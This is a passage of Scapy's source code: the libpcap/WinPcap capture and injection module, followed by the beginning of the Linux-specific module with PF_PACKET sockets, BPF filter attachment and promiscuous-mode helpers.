    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nPacket sending and receiving libpcap/WinPcap.\n\"\"\"\n\nimport os\nimport platform\nimport socket\nimport struct\nimport time\n\nfrom scapy.automaton import select_objects\nfrom scapy.compat import raw, plain_str\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS, LINUX, BSD, SOLARIS\nfrom scapy.data import (\n    DLT_RAW_ALT,\n    DLT_RAW,\n    ETH_P_ALL,\n    MTU,\n)\nfrom scapy.error import (\n    Scapy_Exception,\n    log_loading,\n    log_runtime,\n    warning,\n)\nfrom scapy.interfaces import (\n    InterfaceProvider,\n    NetworkInterface,\n    _GlobInterfaceType,\n    network_name,\n)\nfrom scapy.packet import Packet\nfrom scapy.pton_ntop import inet_ntop\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import str2mac, decode_locale_str\n\nimport scapy.consts\n\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    NoReturn,\n    Optional,\n    Tuple,\n    Type,\n    cast,\n)\n\nif not scapy.consts.WINDOWS:\n    from fcntl import ioctl\n\n# AF_LINK is only available and provided on BSD (MAC)\n# but because we use its value elsewhere, let's patch it.\nif not hasattr(socket, \"AF_LINK\"):\n    socket.AF_LINK = 18  # type: ignore\n\n############\n#  COMMON  #\n############\n\n# From BSD net/bpf.h\n# BIOCIMMEDIATE = 0x80044270\nBIOCIMMEDIATE = -2147204496\n\n# https://github.com/the-tcpdump-group/libpcap/blob/master/pcap/pcap.h\nPCAP_IF_UP = 0x00000002  # interface is up\n_pcap_if_flags = [\n    \"LOOPBACK\",\n    \"UP\",\n    \"RUNNING\",\n    \"WIRELESS\",\n    \"OK\",\n    \"DISCONNECTED\",\n    \"NA\"\n]\n\n\nclass _L2libpcapSocket(SuperSocket):\n    __slots__ = [\"pcap_fd\", \"lvl\"]\n\n    def __init__(self, fd):\n        # type: (_PcapWrapper_libpcap) -> None\n        self.pcap_fd = fd\n        ll = self.pcap_fd.datalink()\n        if ll in conf.l2types:\n            self.LL = conf.l2types[ll]\n            if ll in [\n                DLT_RAW,\n                DLT_RAW_ALT,\n            ]:\n                self.lvl = 3\n            else:\n                self.lvl = 2\n        else:\n            self.LL = conf.default_l2\n            warning(\n                \"Unable to guess datalink type \"\n                \"(interface=%s linktype=%i). Using %s\",\n                self.iface, ll, self.LL.name\n            )\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"\n        Receives a packet, then returns a tuple containing\n        (cls, pkt_data, time)\n        \"\"\"\n        ts, pkt = self.pcap_fd.next()\n        if pkt is None:\n            return None, None, None\n        return self.LL, pkt, ts\n\n    def nonblock_recv(self, x=MTU):\n        # type: (int) -> Optional[Packet]\n        \"\"\"Receives and dissect a packet in non-blocking mode.\"\"\"\n        self.pcap_fd.setnonblock(True)\n        p = self.recv(x)\n        self.pcap_fd.setnonblock(False)\n        return p\n\n    def fileno(self):\n        # type: () -> int\n        return self.pcap_fd.fileno()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        return select_objects(sockets, remain)\n\n    def close(self):\n        # type: () -> None\n        if self.closed:\n            return\n        self.closed = True\n        if hasattr(self, \"pcap_fd\"):\n            # If failed to open, won't exist\n            self.pcap_fd.close()\n\n\n##########\n#  PCAP  #\n##########\n\nif WINDOWS:\n    NPCAP_PATH = \"\"\n\nif conf.use_pcap:\n    if WINDOWS:\n        # Windows specific\n        NPCAP_PATH = os.environ[\"WINDIR\"] + \"\\\\System32\\\\Npcap\"\n        from scapy.libs.winpcapy import pcap_setmintocopy, pcap_getevent\n    else:\n        from scapy.libs.winpcapy import pcap_get_selectable_fd\n    from ctypes import POINTER, byref, create_string_buffer, c_ubyte, cast as ccast\n\n    # Part of the Winpcapy integration was inspired by phaethon/scapy\n    # but he destroyed the commit history, so there is no link to that\n    try:\n        from scapy.libs.winpcapy import (\n            PCAP_ERRBUF_SIZE,\n            PCAP_ERROR,\n            PCAP_ERROR_NO_SUCH_DEVICE,\n            PCAP_ERROR_PERM_DENIED,\n            bpf_program,\n            pcap_close,\n            pcap_compile,\n            pcap_datalink,\n            pcap_findalldevs,\n            pcap_freealldevs,\n            pcap_geterr,\n            pcap_if_t,\n            pcap_lib_version,\n            pcap_next_ex,\n            pcap_open_live,\n            pcap_pkthdr,\n            pcap_setfilter,\n            pcap_setnonblock,\n            sockaddr_in,\n            sockaddr_in6,\n        )\n        try:\n            from scapy.libs.winpcapy import pcap_inject\n        except ImportError:\n            # Fallback for Winpcap... (for how long?)\n            from scapy.libs.winpcapy import pcap_sendpacket as pcap_inject\n\n        def load_winpcapy():\n            # type: () -> None\n            \"\"\"This functions calls libpcap ``pcap_findalldevs`` function,\n            and extracts and parse all the data scapy will need\n            to build the Interface List.\n\n            The data will be stored in ``conf.cache_pcapiflist``\n            \"\"\"\n            from scapy.fields import FlagValue\n\n            err = create_string_buffer(PCAP_ERRBUF_SIZE)\n            devs = POINTER(pcap_if_t)()\n            if_list = {}\n            if pcap_findalldevs(byref(devs), err) < 0:\n                return\n            try:\n                p = devs\n                # Iterate through the different interfaces\n                while p:\n                    name = plain_str(p.contents.name)  # GUID\n                    description = plain_str(\n                        p.contents.description or \"\"\n                    )  # DESC\n                    flags = p.contents.flags  # FLAGS\n                    ips = []\n                    mac = \"\"\n                    itype = -1\n                    a = p.contents.addresses\n                    while a:\n                        # IPv4 address\n                        family = a.contents.addr.contents.sa_family\n                        ap = a.contents.addr\n                        if family == socket.AF_INET:\n                            val = ccast(ap, POINTER(sockaddr_in))\n                            addr_raw = val.contents.sin_addr[:]\n                        elif family == socket.AF_INET6:\n                            val = ccast(ap, POINTER(sockaddr_in6))\n                            addr_raw = val.contents.sin6_addr[:]\n                        elif family == socket.AF_LINK:\n                            # Special case: MAC\n                            # (AF_LINK is mostly BSD specific)\n                            val = ap.contents.sa_data\n                            mac = str2mac(bytes(bytearray(val[:6])))\n                            a = a.contents.next\n                            continue\n                        else:\n                            # Unknown AF\n                            a = a.contents.next\n                            continue\n                        addr = inet_ntop(family, bytes(bytearray(addr_raw)))\n                        if addr != \"0.0.0.0\":\n                            ips.append(addr)\n                        a = a.contents.next\n                    flags = FlagValue(flags, _pcap_if_flags)\n                    if_list[name] = (description, ips, flags, mac, itype)\n                    p = p.contents.next\n                conf.cache_pcapiflist = if_list\n            except Exception:\n                raise\n            finally:\n                pcap_freealldevs(devs)\n    except OSError:\n        conf.use_pcap = False\n        if WINDOWS:\n            if conf.interactive:\n                log_loading.critical(\n                    \"Npcap/Winpcap is not installed ! See \"\n                    \"https://scapy.readthedocs.io/en/latest/installation.html#windows\"  # noqa: E501\n                )\n        else:\n            if conf.interactive:\n                log_loading.critical(\n                    \"Libpcap is not installed!\"\n                )\n    else:\n        if WINDOWS:\n            # Detect Pcap version: check for Npcap\n            version = pcap_lib_version()\n            if b\"winpcap\" in version.lower():\n                if os.path.exists(NPCAP_PATH + \"\\\\wpcap.dll\"):\n                    warning(\"Winpcap is installed over Npcap. \"\n                            \"Will use Winpcap (see 'Winpcap/Npcap conflicts' \"\n                            \"in Scapy's docs)\")\n                elif platform.release() != \"XP\":\n                    warning(\"WinPcap is now deprecated (not maintained). \"\n                            \"Please use Npcap instead\")\n            elif b\"npcap\" in version.lower():\n                conf.use_npcap = True\n                conf.loopback_name = conf.loopback_name = \"Npcap Loopback Adapter\"  # noqa: E501\n\nif conf.use_pcap:\n    class _PcapWrapper_libpcap:  # noqa: F811\n        \"\"\"Wrapper for the libpcap calls\"\"\"\n\n        def __init__(self,\n                     device,  # type: _GlobInterfaceType\n                     snaplen,  # type: int\n                     promisc,  # type: bool\n                     to_ms,  # type: int\n                     monitor=None,  # type: Optional[bool]\n                     ):\n            # type: (...) -> None\n            self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE)\n            self.iface = create_string_buffer(\n                network_name(device).encode(\"utf8\")\n            )\n            self.dtl = -1\n            if not WINDOWS or conf.use_npcap:\n                from scapy.libs.winpcapy import pcap_create\n                self.pcap = pcap_create(self.iface, self.errbuf)\n                if not self.pcap:\n                    error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                    if error:\n                        raise OSError(error)\n                # Non-winpcap functions\n                from scapy.libs.winpcapy import (\n                    pcap_set_snaplen,\n                    pcap_set_promisc,\n                    pcap_set_timeout,\n                    pcap_set_rfmon,\n                    pcap_activate,\n                    pcap_statustostr,\n                    pcap_geterr,\n                )\n                if pcap_set_snaplen(self.pcap, snaplen) != 0:\n                    error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                    if error:\n                        raise OSError(error)\n                    log_runtime.error(\"Could not set snaplen\")\n                if pcap_set_promisc(self.pcap, promisc) != 0:\n                    error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                    if error:\n                        raise OSError(error)\n                    log_runtime.error(\"Could not set promisc\")\n                if pcap_set_timeout(self.pcap, to_ms) != 0:\n                    error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                    if error:\n                        raise OSError(error)\n                    log_runtime.error(\"Could not set timeout\")\n                if monitor:\n                    if pcap_set_rfmon(self.pcap, 1) != 0:\n                        error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                        if error:\n                            raise OSError(error)\n                        log_runtime.error(\"Could not set monitor mode\")\n                status = pcap_activate(self.pcap)\n                # status == 0 means success\n                # status < 0 means error\n                # status > 0 means success, but with a warning\n                if status < 0:\n                    # self.iface, and strings we get back from\n                    # pcap_geterr() and pcap_statustostr(), have the\n                    # type \"bytes\".\n                    #\n                    # decode_locale_str() turns them into strings.\n                    iface = decode_locale_str(\n                        bytearray(self.iface).strip(b\"\\x00\")\n                    )\n                    errstr = decode_locale_str(\n                        bytearray(pcap_geterr(self.pcap)).strip(b\"\\x00\")\n                    )\n                    statusstr = decode_locale_str(\n                        bytearray(pcap_statustostr(status)).strip(b\"\\x00\")\n                    )\n                    if status == PCAP_ERROR:\n                        errmsg = errstr\n                    elif status == PCAP_ERROR_NO_SUCH_DEVICE:\n                        errmsg = \"%s: %s\\n(%s)\" % (iface, statusstr, errstr)\n                    elif status == PCAP_ERROR_PERM_DENIED and errstr != \"\":\n                        errmsg = \"%s: %s\\n(%s)\" % (iface, statusstr, errstr)\n                    else:\n                        errmsg = \"%s: %s\" % (iface, statusstr)\n                    raise OSError(errmsg)\n            else:\n                if WINDOWS and monitor:\n                    raise OSError(\"On Windows, this feature requires NPcap !\")\n                self.pcap = pcap_open_live(self.iface,\n                                           snaplen, promisc, to_ms,\n                                           self.errbuf)\n                error = decode_locale_str(bytearray(self.errbuf).strip(b\"\\x00\"))\n                if error:\n                    raise OSError(error)\n\n            if WINDOWS:\n                # On Windows, we need to cache whether there are still packets in the\n                # queue or not. When they aren't, then we select normally like on linux.\n                self.remaining = True\n                # Winpcap/Npcap exclusive: make every packet to be instantly\n                # returned, and not buffered within Winpcap/Npcap\n                pcap_setmintocopy(self.pcap, 0)\n\n            self.header = POINTER(pcap_pkthdr)()\n            self.pkt_data = POINTER(c_ubyte)()\n            self.bpf_program = bpf_program()\n\n        def next(self):\n            # type: () -> Tuple[Optional[float], Optional[bytes]]\n            \"\"\"\n            Returns the next packet as the tuple\n            (timestamp, raw_packet)\n            \"\"\"\n            c = pcap_next_ex(\n                self.pcap,\n                byref(self.header),\n                byref(self.pkt_data)\n            )\n            if not c > 0:\n                self.remaining = False  # we emptied the queue\n                return None, None\n            else:\n                self.remaining = True\n            ts = (\n                self.header.contents.ts.tv_sec +\n                float(self.header.contents.ts.tv_usec) / 1e6\n            )\n            pkt = bytes(bytearray(\n                self.pkt_data[:self.header.contents.len]\n            ))\n            return ts, pkt\n        __next__ = next\n\n        def datalink(self):\n            # type: () -> int\n            \"\"\"Wrapper around pcap_datalink\"\"\"\n            if self.dtl == -1:\n                self.dtl = pcap_datalink(self.pcap)\n            return self.dtl\n\n        def fileno(self):\n            # type: () -> int\n            if WINDOWS:\n                if self.remaining:\n                    # Still packets in the queue. Don't select\n                    return -1\n                return cast(int, pcap_getevent(self.pcap))\n            else:\n                # This does not exist under Windows\n                return cast(int, pcap_get_selectable_fd(self.pcap))\n\n        def setfilter(self, f):\n            # type: (str) -> None\n            filter_exp = create_string_buffer(f.encode(\"utf8\"))\n            if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 1, -1) >= 0:  # noqa: E501\n                if pcap_setfilter(self.pcap, byref(self.bpf_program)) >= 0:\n                    # Success\n                    return\n            errstr = decode_locale_str(\n                bytearray(pcap_geterr(self.pcap)).strip(b\"\\x00\")\n            )\n            raise Scapy_Exception(\"Cannot set filter: %s\" % errstr)\n\n        def setnonblock(self, i):\n            # type: (bool) -> None\n            pcap_setnonblock(self.pcap, i, self.errbuf)\n\n        def send(self, x):\n            # type: (bytes) -> int\n            return pcap_inject(self.pcap, x, len(x))  # type: ignore\n\n        def close(self):\n            # type: () -> None\n            pcap_close(self.pcap)\n    open_pcap = _PcapWrapper_libpcap\n\n    class LibpcapProvider(InterfaceProvider):\n        \"\"\"\n        Load interfaces from Libpcap on non-Windows machines\n        \"\"\"\n        name = \"libpcap\"\n        libpcap = True\n\n        def load(self):\n            # type: () -> Dict[str, NetworkInterface]\n            if not conf.use_pcap or WINDOWS:\n                return {}\n            if not conf.cache_pcapiflist:\n                load_winpcapy()\n            data = {}\n            i = 0\n            for ifname, dat in conf.cache_pcapiflist.items():\n                description, ips, flags, mac, itype = dat\n                i += 1\n                if LINUX or BSD or SOLARIS and not mac:\n                    from scapy.arch.unix import get_if_raw_hwaddr\n                    try:\n                        itype, _mac = get_if_raw_hwaddr(ifname)\n                        mac = str2mac(_mac)\n                    except Exception:\n                        # There are at least 3 different possible exceptions\n                        mac = \"00:00:00:00:00:00\"\n                if_data = {\n                    'name': ifname,\n                    'description': description or ifname,\n                    'network_name': ifname,\n                    'index': i,\n                    'mac': mac,\n                    'type': itype,\n                    'ips': ips,\n                    'flags': flags\n                }\n                data[ifname] = NetworkInterface(self, if_data)\n            return data\n\n        def reload(self):\n            # type: () -> Dict[str, NetworkInterface]\n            if conf.use_pcap:\n                from scapy.arch.libpcap import load_winpcapy\n                load_winpcapy()\n            return self.load()\n\n    if not WINDOWS:\n        conf.ifaces.register_provider(LibpcapProvider)\n\n    # pcap sockets\n\n    class L2pcapListenSocket(_L2libpcapSocket):\n        desc = \"read packets at layer 2 using libpcap\"\n\n        def __init__(self,\n                     iface=None,  # type: Optional[_GlobInterfaceType]\n                     type=ETH_P_ALL,  # type: int\n                     promisc=None,  # type: Optional[bool]\n                     filter=None,  # type: Optional[str]\n                     monitor=None,  # type: Optional[bool]\n                     ):\n            # type: (...) -> None\n            self.type = type\n            self.outs = None\n            if iface is None:\n                iface = conf.iface\n            self.iface = iface\n            if promisc is not None:\n                self.promisc = promisc\n            else:\n                self.promisc = conf.sniff_promisc\n            self.monitor = monitor\n            fd = open_pcap(\n                device=iface,\n                snaplen=MTU,\n                promisc=self.promisc,\n                to_ms=100,\n                monitor=self.monitor,\n            )\n            super(L2pcapListenSocket, self).__init__(fd)\n            try:\n                if not WINDOWS:\n                    ioctl(\n                        self.pcap_fd.fileno(),\n                        BIOCIMMEDIATE,\n                        struct.pack(\"I\", 1)\n                    )\n            except Exception:\n                pass\n            if type == ETH_P_ALL:  # Do not apply any filter if Ethernet type is given  # noqa: E501\n                if conf.except_filter:\n                    if filter:\n                        filter = \"(%s) and not (%s)\" % (filter, conf.except_filter)  # noqa: E501\n                    else:\n                        filter = \"not (%s)\" % conf.except_filter\n                if filter:\n                    self.pcap_fd.setfilter(filter)\n\n        def send(self, x):\n            # type: (Packet) -> NoReturn\n            raise Scapy_Exception(\n                \"Can't send anything with L2pcapListenSocket\"\n            )\n\n    class L2pcapSocket(_L2libpcapSocket):\n        desc = \"read/write packets at layer 2 using only libpcap\"\n\n        def __init__(self,\n                     iface=None,  # type: Optional[_GlobInterfaceType]\n                     type=ETH_P_ALL,  # type: int\n                     promisc=None,  # type: Optional[bool]\n                     filter=None,  # type: Optional[str]\n                     nofilter=0,  # type: int\n                     monitor=None  # type: Optional[bool]\n                     ):\n            # type: (...) -> None\n            if iface is None:\n                iface = conf.iface\n            self.iface = iface\n            self.type = type\n            if promisc is not None:\n                self.promisc = promisc\n            else:\n                self.promisc = conf.sniff_promisc\n            self.monitor = monitor\n            fd = open_pcap(\n                device=iface,\n                snaplen=MTU,\n                promisc=self.promisc,\n                to_ms=100,\n                monitor=self.monitor,\n            )\n            super(L2pcapSocket, self).__init__(fd)\n            try:\n                if not WINDOWS:\n                    ioctl(\n                        self.pcap_fd.fileno(),\n                        BIOCIMMEDIATE,\n                        struct.pack(\"I\", 1)\n                    )\n            except Exception:\n                pass\n            if nofilter:\n                if type != ETH_P_ALL:\n                    # PF_PACKET stuff. Need to emulate this for pcap\n                    filter = \"ether proto %i\" % type\n                else:\n                    filter = None\n            else:\n                if conf.except_filter:\n                    if filter:\n                        filter = \"(%s) and not (%s)\" % (filter, conf.except_filter)  # noqa: E501\n                    else:\n                        filter = \"not (%s)\" % conf.except_filter\n                if type != ETH_P_ALL:\n                    # PF_PACKET stuff. Need to emulate this for pcap\n                    if filter:\n                        filter = \"(ether proto %i) and (%s)\" % (type, filter)\n                    else:\n                        filter = \"ether proto %i\" % type\n            self.filter = filter\n            if filter:\n                self.pcap_fd.setfilter(filter)\n\n        def send(self, x):\n            # type: (Packet) -> int\n            sx = raw(x)\n            try:\n                x.sent_time = time.time()\n            except AttributeError:\n                pass\n            return self.pcap_fd.send(sx)\n\n    class L3pcapSocket(L2pcapSocket):\n        desc = \"read/write packets at layer 3 using only libpcap\"\n\n        def __init__(self, *args, **kwargs):\n            # type: (*Any, **Any) -> None\n            super(L3pcapSocket, self).__init__(*args, **kwargs)\n            self.send_socks = {network_name(self.iface): self}\n\n        def recv(self, x=MTU, **kwargs):\n            # type: (int, **Any) -> Optional[Packet]\n            r = L2pcapSocket.recv(self, x, **kwargs)\n            if r and self.lvl == 2:\n                r.payload.time = r.time\n                return r.payload\n            return r\n\n        def send(self, x):\n            # type: (Packet) -> int\n            # Select the file descriptor to send the packet on.\n            iff = x.route()[0]\n            if iff is None:\n                iff = network_name(conf.iface)\n            type_x = type(x)\n            if iff not in self.send_socks:\n                self.send_socks[iff] = L3pcapSocket(\n                    iface=iff,\n                    type=self.type,\n                    filter=self.filter,\n                    promisc=self.promisc,\n                    monitor=self.monitor,\n                )\n            sock = self.send_socks[iff]\n            fd = sock.pcap_fd\n            if sock.lvl == 3:\n                if not issubclass(sock.LL, type_x):\n                    warning(\"Incompatible L3 types detected using %s instead of %s !\",\n                            type_x, sock.LL)\n                    sock.LL = type_x\n            if sock.lvl == 2:\n                sx = bytes(sock.LL() / x)\n            else:\n                sx = bytes(x)\n            # Now send.\n            try:\n                x.sent_time = time.time()\n            except AttributeError:\n                pass\n            return fd.send(sx)\n\n        @staticmethod\n        def select(sockets, remain=None):\n            # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n            socks = []  # type: List[SuperSocket]\n            for sock in sockets:\n                if isinstance(sock, L3pcapSocket):\n                    socks += sock.send_socks.values()\n                else:\n                    socks.append(sock)\n            return L2pcapSocket.select(socks, remain=remain)\n\n        def close(self):\n            # type: () -> None\n            if self.closed:\n                return\n            super(L3pcapSocket, self).close()\n            for fd in self.send_socks.values():\n                if fd is not self:\n                    fd.close()\n"
  },
  {
    "path": "scapy/arch/linux/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nLinux specific functions.\n\"\"\"\n\n\nfrom fcntl import ioctl\nfrom select import select\n\nimport ctypes\nimport os\nimport socket\nimport struct\nimport subprocess\nimport sys\nimport time\n\nfrom scapy.compat import raw\nfrom scapy.consts import LINUX\nfrom scapy.arch.common import compile_filter, free_filter\nfrom scapy.config import conf\nfrom scapy.data import MTU, ETH_P_ALL, SOL_PACKET, SO_ATTACH_FILTER, \\\n    SO_TIMESTAMPNS\nfrom scapy.error import (\n    ScapyInvalidPlatformException,\n    Scapy_Exception,\n    log_runtime,\n    warning,\n)\nfrom scapy.interfaces import (\n    InterfaceProvider,\n    NetworkInterface,\n    _GlobInterfaceType,\n    network_name,\n    resolve_iface,\n)\nfrom scapy.libs.structures import sock_fprog\nfrom scapy.packet import Packet, Padding\nfrom scapy.supersocket import SuperSocket\n\n# re-export\nfrom scapy.arch.common import get_if_raw_addr, read_nameservers  # noqa: F401\nfrom scapy.arch.linux.rtnetlink import (  # noqa: F401\n    read_routes,\n    read_routes6,\n    in6_getifaddr,\n    _get_if_list,\n)\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    NoReturn,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n)\n\n# From sockios.h\nSIOCGIFHWADDR = 0x8927          # Get hardware address\nSIOCGIFADDR = 0x8915          # get PA address\nSIOCGIFNETMASK = 0x891b          # get network PA mask\nSIOCGIFNAME = 0x8910          # get iface name\nSIOCSIFLINK = 0x8911          # set iface channel\nSIOCGIFCONF = 0x8912          # get iface list\nSIOCGIFFLAGS = 0x8913          # get flags\nSIOCSIFFLAGS = 0x8914          # set flags\nSIOCGIFINDEX = 0x8933          # name -> if_index mapping\nSIOCGIFCOUNT = 0x8938          # get number of devices\nSIOCGSTAMP = 0x8906          # get packet timestamp (as a timeval)\n\n# From if.h\nIFF_UP = 0x1               # Interface is up.\nIFF_BROADCAST = 0x2        # Broadcast address valid.\nIFF_DEBUG = 0x4            # Turn on debugging.\nIFF_LOOPBACK = 0x8         # Is a loopback net.\nIFF_POINTOPOINT = 0x10     # Interface is point-to-point link.\nIFF_NOTRAILERS = 0x20      # Avoid use of trailers.\nIFF_RUNNING = 0x40         # Resources allocated.\nIFF_NOARP = 0x80           # No address resolution protocol.\nIFF_PROMISC = 0x100        # Receive all packets.\n\n# From netpacket/packet.h\nPACKET_ADD_MEMBERSHIP = 1\nPACKET_DROP_MEMBERSHIP = 2\nPACKET_RECV_OUTPUT = 3\nPACKET_RX_RING = 5\nPACKET_STATISTICS = 6\nPACKET_MR_MULTICAST = 0\nPACKET_MR_PROMISC = 1\nPACKET_MR_ALLMULTI = 2\n\n# From net/route.h\nRTF_UP = 0x0001  # Route usable\nRTF_REJECT = 0x0200\n\n# From if_packet.h\nPACKET_HOST = 0  # To us\nPACKET_BROADCAST = 1  # To all\nPACKET_MULTICAST = 2  # To group\nPACKET_OTHERHOST = 3  # To someone else\nPACKET_OUTGOING = 4  # Outgoing of any type\nPACKET_LOOPBACK = 5  # MC/BRD frame looped back\nPACKET_USER = 6  # To user space\nPACKET_KERNEL = 7  # To kernel space\nPACKET_AUXDATA = 8\nPACKET_FASTROUTE = 6  # Fastrouted frame\n# Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space\n\n\n# Utils\n\ndef attach_filter(sock, bpf_filter, iface):\n    # type: (socket.socket, str, _GlobInterfaceType) -> None\n    \"\"\"\n    Compile bpf filter and attach it to a socket\n\n    :param sock: the python socket\n    :param bpf_filter: the bpf string filter to compile\n    :param iface: the interface used to compile\n    \"\"\"\n    bp = compile_filter(bpf_filter, iface)\n    if conf.use_pypy and sys.pypy_version_info <= (7, 3, 2):  # type: ignore\n        # PyPy < 7.3.2 has a broken behavior\n        # https://foss.heptapod.net/pypy/pypy/-/issues/3298\n        fp = struct.pack(\n            'HL',\n            bp.bf_len, ctypes.addressof(bp.bf_insns.contents)\n        )\n    else:\n        fp = sock_fprog(bp.bf_len, bp.bf_insns)  # type: ignore\n    sock.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER, fp)\n    free_filter(bp)\n\n\ndef set_promisc(s, iff, val=1):\n    # type: (socket.socket, _GlobInterfaceType, int) -> None\n    _iff = resolve_iface(iff)\n    mreq = struct.pack(\"IHH8s\", _iff.index, PACKET_MR_PROMISC, 0, b\"\")\n    if val:\n        cmd = PACKET_ADD_MEMBERSHIP\n    else:\n        cmd = PACKET_DROP_MEMBERSHIP\n    s.setsockopt(SOL_PACKET, cmd, mreq)\n\n\n# Interface provider\n\n\nclass LinuxInterfaceProvider(InterfaceProvider):\n    name = \"sys\"\n\n    def _is_valid(self, dev):\n        # type: (NetworkInterface) -> bool\n        return bool(dev.flags & IFF_UP)\n\n    def load(self):\n        # type: () -> Dict[str, NetworkInterface]\n        data = {}\n        for iface in _get_if_list().values():\n            if_data = iface.copy()\n            if_data.update({\n                \"network_name\": iface[\"name\"],\n                \"description\": iface[\"name\"],\n                \"ips\": [x[\"address\"] for x in iface[\"ips\"]]\n            })\n            data[iface[\"name\"]] = NetworkInterface(self, if_data)\n        return data\n\n\nconf.ifaces.register_provider(LinuxInterfaceProvider)\n\nif os.uname()[4] in ['x86_64', 'aarch64']:\n    def get_last_packet_timestamp(sock):\n        # type: (socket.socket) -> float\n        ts = ioctl(sock, SIOCGSTAMP, \"1234567890123456\")  # type: ignore\n        s, us = struct.unpack(\"QQ\", ts)  # type: Tuple[int, int]\n        return s + us / 1000000.0\nelse:\n    def get_last_packet_timestamp(sock):\n        # type: (socket.socket) -> float\n        ts = ioctl(sock, SIOCGSTAMP, \"12345678\")  # type: ignore\n        s, us = struct.unpack(\"II\", ts)  # type: Tuple[int, int]\n        return s + us / 1000000.0\n\n\ndef _flush_fd(fd):\n    # type: (int) -> None\n    while True:\n        r, w, e = select([fd], [], [], 0)\n        if r:\n            os.read(fd, MTU)\n        else:\n            break\n\n\nclass L2Socket(SuperSocket):\n    desc = \"read/write packets at layer 2 using Linux PF_PACKET sockets\"\n\n    def __init__(self,\n                 iface=None,  # type: Optional[Union[str, NetworkInterface]]\n                 type=ETH_P_ALL,  # type: int\n                 promisc=None,  # type: Optional[Any]\n                 filter=None,  # type: Optional[Any]\n                 nofilter=0,  # type: int\n                 monitor=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        self.iface = network_name(iface or conf.iface)\n        self.type = type\n        self.promisc = conf.sniff_promisc if promisc is None else promisc\n        self.ins = socket.socket(\n            socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))\n        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)\n        if not nofilter:\n            if conf.except_filter:\n                if filter:\n                    filter = \"(%s) and not (%s)\" % (filter, conf.except_filter)\n                else:\n                    filter = \"not (%s)\" % conf.except_filter\n            if filter is not None:\n                try:\n                    attach_filter(self.ins, filter, self.iface)\n                except (ImportError, Scapy_Exception) as ex:\n                    raise Scapy_Exception(\"Cannot set filter: %s\" % ex)\n        if self.promisc:\n            set_promisc(self.ins, self.iface)\n        self.ins.bind((self.iface, type))\n        _flush_fd(self.ins.fileno())\n        self.ins.setsockopt(\n            socket.SOL_SOCKET,\n            socket.SO_RCVBUF,\n            conf.bufsize\n        )\n        # Receive Auxiliary Data (VLAN tags)\n        try:\n            self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)\n            self.ins.setsockopt(socket.SOL_SOCKET, SO_TIMESTAMPNS, 1)\n            self.auxdata_available = True\n        except OSError:\n            # Note: Auxiliary Data is only supported since\n            #       Linux 2.6.21\n            msg = \"Your Linux Kernel does not support Auxiliary Data!\"\n            log_runtime.info(msg)\n        if not isinstance(self, L2ListenSocket):\n            self.outs = self.ins  # type: socket.socket\n            self.outs.setsockopt(\n                socket.SOL_SOCKET,\n                socket.SO_SNDBUF,\n                conf.bufsize\n            )\n        else:\n            self.outs = None  # type: ignore\n        sa_ll = self.ins.getsockname()\n        if sa_ll[3] in conf.l2types:\n            self.LL = conf.l2types.num2layer[sa_ll[3]]\n            self.lvl = 2\n        elif sa_ll[1] in conf.l3types:\n            self.LL = conf.l3types.num2layer[sa_ll[1]]\n            self.lvl = 3\n        else:\n            self.LL = conf.default_l2\n            self.lvl = 2\n            warning(\"Unable to guess type (interface=%s protocol=%#x family=%i). Using %s\", sa_ll[0], sa_ll[1], sa_ll[3], self.LL.name)  # noqa: E501\n\n    def close(self):\n        # type: () -> None\n        if self.closed:\n            return\n        try:\n            if self.promisc and getattr(self, \"ins\", None):\n                set_promisc(self.ins, self.iface, 0)\n        except (AttributeError, OSError, ValueError):\n            pass\n        SuperSocket.close(self)\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Receives a packet, then returns a tuple containing (cls, pkt_data, time)\"\"\"  # noqa: E501\n        pkt, sa_ll, ts = self._recv_raw(self.ins, x)\n        if self.outs and sa_ll[2] == socket.PACKET_OUTGOING:\n            return None, None, None\n        if ts is None:\n            ts = get_last_packet_timestamp(self.ins)\n        return self.LL, pkt, ts\n\n    def send(self, x):\n        # type: (Packet) -> int\n        try:\n            return SuperSocket.send(self, x)\n        except socket.error as msg:\n            if msg.errno == 22 and len(x) < conf.min_pkt_size:\n                padding = b\"\\x00\" * (conf.min_pkt_size - len(x))\n                if isinstance(x, Packet):\n                    return SuperSocket.send(self, x / Padding(load=padding))\n                else:\n                    return SuperSocket.send(self, raw(x) + padding)\n            raise\n\n\nclass L2ListenSocket(L2Socket):\n    desc = \"read packets at layer 2 using Linux PF_PACKET sockets. Also receives the packets going OUT\"  # noqa: E501\n\n    def send(self, x):\n        # type: (Packet) -> NoReturn\n        raise Scapy_Exception(\"Can't send anything with L2ListenSocket\")\n\n\nclass 